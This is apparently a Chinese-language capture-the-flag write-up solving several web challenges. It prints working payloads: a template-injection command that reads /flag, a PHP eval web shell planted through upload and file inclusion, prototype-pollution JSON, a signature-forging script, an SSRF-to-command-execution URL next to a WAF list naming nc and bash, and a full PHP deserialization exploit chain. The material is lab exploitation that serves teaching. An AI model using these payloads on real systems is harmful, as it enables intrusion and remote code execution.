Web
星愿信箱

看起来有点像模板注入,看起来数字被过滤掉了,一些跟配置文件相关的参数也被过滤掉了

首先是会匹配字母,否则返回:愿望需要包含文字内容噢)~
然后匹配到连续的两个花括号,返回:愿望被神秘力量屏蔽了~
这里两个{% if ... %}1{% endif %}
和{%print(......)%}
都可以用,此时数字没有过滤
后续发现只过滤了双花括号还有cat
1
| {%print(lipsum.__globals__.__builtins__['__import__']('os').popen('more /flag').read())%}
|

nest_js
根据长度爆破出弱密码

然后就出了…
easy_file

依旧是弱密码爆破



怀疑是否有nginx解析漏洞?尝试一下
制作图片🐎并上传,这里不能上传png图片,换成jpg试试
发现是过滤了php,可以改成
1
| <?= @eval($_POST['cmd']);?>
|

不太行,后查看登录页源码发现hint

这里是file参数来查看头像,那么可以猜测这里是通过文件包含的逻辑

此时的mm.jpg是在上传mm.php的基础上直接改成jpg后缀的,后续我把admin.php源码翻出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| <?php
session_start();
if (!isset($_SESSION['authenticated']) || !$_SESSION['authenticated']) { header('Location: index.html'); exit; }
ob_start();
$upload_result = ''; $block = ['file', 'http', 'https', 'ftp', 'php', 'zlib', 'data', 'glob', 'phar', 'ssh2', 'rar', 'ogg', 'expect', 'log'];
if (isset($_FILES['avatar'])) { $uploaddir = 'uploads/'; !is_dir($uploaddir) && mkdir($uploaddir, 0755, true);
$uploadfile = $uploaddir . basename($_FILES['avatar']['name']); $ext = pathinfo($_FILES['avatar']['name'], PATHINFO_EXTENSION); $file_content = file_get_contents($_FILES['avatar']['tmp_name']);
if ($ext != 'txt' &&$ext != 'jpg' ) { $upload_result = "恶意后缀"; } else { if (preg_match("/<\?php/i", $file_content)) { $upload_result = "你的文件内容不太对劲哦"; } else { if (move_uploaded_file($_FILES['avatar']['tmp_name'], $uploadfile)) { $upload_result = "上传成功!文件路径:" . $uploadfile; } else { $upload_result = "文件上传失败"; } } } }
$include_result = ''; if (isset($_GET['file'])) { $file = $_GET['file']; $isBlocked = false; foreach ($block as $blockedWord) { if (stripos($file, $blockedWord) !== false) { $include_result = "WAF!"; $isBlocked = true; break; } } if (!$isBlocked) { include($file); } }
ob_end_flush(); ?>
|
这里用了include($file)
也就不足为奇了
多重宇宙日记
注册后界面如下

感觉像一个原型链污染
查看源码发现了isAdmin属性

1 2 3 4 5 6 7
| { "settings":{ "theme":"quar", "language":"quar", "isAdmin":true } }
|
或者直接更改其原型也可以
1 2 3 4 5 6 7 8 9
| { "settings":{ "theme":"quar", "language":"quar", "__proto__": { "isAdmin": true } } }
|
这样就修改了所有JavaScript对象的原型,每一次创建settingsPayload
对象其isAdmin
属性默认为true,每一个用户都可以登入管理员面板了
easy_signin
通过dirsearch工具发现以下文件


这里输入密码后回显账户错误,但是又无法更改,但可以通过抓包更改,正确的账户是admin,不过需要MD5加密

此时回显密码错误

爆出来一个,但是回显签名验证失败,我们先去看看密码明文是啥
1 2
| 0192023a7bbd73250516f069df18b500 admin123
|
我们通过源代码来看看是如何进行签名验证的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| const md5Username = CryptoJS.MD5(rawUsername).toString(); const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6); const shortMd5Pass = md5Password.slice(0, 6);
const timestamp = Date.now().toString();
const secretKey = 'easy_signin'; const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
try { const response = await fetch('login.php', { method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Sign': sign }, body: new URLSearchParams({ username: md5Username, password: md5Password, timestamp: timestamp }) });
|
其中
1
| const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
|
有加密后的用户名,密码的MD5字符串的前6位字符组成,再加上当前时间戳以及已给出的secretKey
,最后再次进行MD5加密,此时我们既然知道了正确的账号密码,只需要伪造签名即可
Poc如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| const CryptoJS = require('crypto-js');
rawUsername = "admin"; rawPassword = "admin123";
const md5Username = CryptoJS.MD5(rawUsername).toString(); const md5Password = CryptoJS.MD5(rawPassword).toString();
const shortMd5User = md5Username.slice(0, 6); const shortMd5Pass = md5Password.slice(0, 6);
timestamp = ""; const secretKey = 'easy_signin'; const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
console.log("sign:", sign); console.log("md5Username:", md5Username); console.log("md5Password:", md5Password);
|

访问/backup/8e0132966053d4bf8b2dbe4ede25502b.php
提示非本地用户
当我想用修改HTTP头部xff设置访问IP地址时还是不管用,于是再次在登录页面找到api.js

1
| /api/sys/urlcode.php?url=
|
构成SSRF漏洞

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| <?php if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { highlight_file(__FILE__);
$name="waf"; $name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) { echo "waf!!"; exit; }
if (preg_match('/more|less|head|sort/', $name)) { echo "waf"; exit; }
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) { echo "waf!"; exit; }
exec($name, $output, $return_var); echo "执行结果:\n"; print_r($output); echo "\n返回码:$return_var"; } else { echo("非本地用户"); }
?>
|
直接命令执行即可,不过值得注意的是,对于会被url编码的字符需要双重url编码

直接cat 327a6c4304ad5938eaf0efb6cc3e53dc.php
回显看不见哦
因此我们现看看urlcode.php
的源码

最终payload,当然也可以直接访问8e0132966053d4bf8b2dbe4ede25502b.php
1
| http://node6.anna.nssctf.cn:24982/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=cat%2520/var/www/html/3*
|

后面看到其它师傅通过大小写绕过进行伪协议访问,一开始我通过 http://127.0.0.1/api/sys/urlcode.php
并不能得到全部快照,可以说输出的快照根本没有可用的代码,当然也可以用file://
协议
可以说这样就根本不用登录进去,我这个做法估计是预期解,其它师傅们的做法就很简单了
君の名は
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); error_reporting(0); create_function("", 'die(`/readflag`);'); class Taki { private $musubi; private $magic; public function __unserialize(array $data) { $this->musubi = $data['musubi']; $this->magic = $data['magic']; return ($this->musubi)(); } public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); } }
class Mitsuha { private $memory; private $thread; public function __invoke() { return $this->memory.$this->thread; } }
class KatawareDoki { private $soul; private $kuchikamizake; private $name;
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; } }
$Litctf2025 = $_POST['Litctf2025']; if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){ unserialize($Litctf2025); }else{ echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆"; }
|
开始进行反序列化时
首先会触发__unserialize
魔术方法(PHP版本需大于7.4才支持),data
参数的键名和值与序列化字符串中的属性对应,($this->musubi)()
可以假设是在把对象被当作函数调用,此时会触发__invoke()
魔术方法;
接着$this->memory.$this->thread;
可以指定为KatawareDoki
的实例,此时被当作字符串处理触发__toString()
魔术方法;
然后有注意到整个代码中没有定义flag
函数,当调用的方法不存在时触发__call()
魔术方法;
最后这里多半需要利用这个create_function
,但是这是个匿名函数在这里,并且没有定义给任何一个变量,但实际上其会返回一个字符串,这个字符串就是该匿名函数的内部名称

我们可以像调用普通函数一样使用这个字符串来调用它,需要注意的是每执行一次都会+1(注意在PHP中我们表示一个空字节需要写成\00lambda_1
)
但最终形式是 (new $args[0]($args[1]))->{$this->magic}();
,相当于是我们要找到一个类其实例化对象的一个方法可以调用这个匿名函数,在这里是利用ReflectionFunction
:
PHP 内置的一个反射类,专门用于反射函数,这意味着你可以使用它来获取关于一个函数的信息,比如它的名称、参数、返回值类型、静态变量等等。它还允许你调用这个函数。
这里是invoke
方法
1 2 3 4 5 6 7
| <?php function myFunction($a, $b) { echo "Hello, " . $a . " and " . $b . "!\n"; } $reflectionFunc = new ReflectionFunction('myFunction'); $reflectionFunc->invoke('World', 'PHP'); ?>
|
同时我们还发现类中都是私有属性,其序列化后会跟%00,对于php7.1+ 属性并不敏感
Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class Taki { public $musubi; public $magic = "invoke"; }
class Mitsuha { public $memory; public $thread; }
class KatawareDoki { public $soul; public $kuchikamizake = "ReflectionFunction"; public $name = "\00lambda_1"; }
$Taki = new Taki(); $Taki->musubi = new Mitsuha(); $Taki->musubi->memory = new KatawareDoki(); $Taki->musubi->memory->soul = $Taki;
$evil=array("evil"=>$Taki); $o=new ArrayObject($evil); echo urlencode(serialize($o)); ?>
|
最后的输入会检查O开头,这里需要用到自定义序列化以C开头,反序列化时优先调用__unserialize()
方法
但直接使用C开头就无法携带其它属性,因为其不直接处理属性,而是存储原始字节数据
1
| C:<类名长度>:"<类名>":<数据长度>:{<自定义二进制数据>}
|
而O:
格式(普通对象序列化)完整保存对象状态
1
| O:<类名长度>:"<类名>":<属性数量>:{<属性名>;<属性值>...}
|
因此我们需要通过ArrayObject
将目标对象作为数组元素包裹
注意这里我使用的7.3.4版本,而7.4版本对于ArrayObject
序列化后的总字符数只有3,少的可怜,而且两者的payload相比有明显的区别,这里我不太清楚为什么会这样,可能是机制上的改变,如果有师傅清楚可以讨论讨论
1
| Litctf2025=C%3A11%3A%22ArrayObject%22%3A244%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7Ds%3A6%3A%22thread%22%3BN%3B%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D
|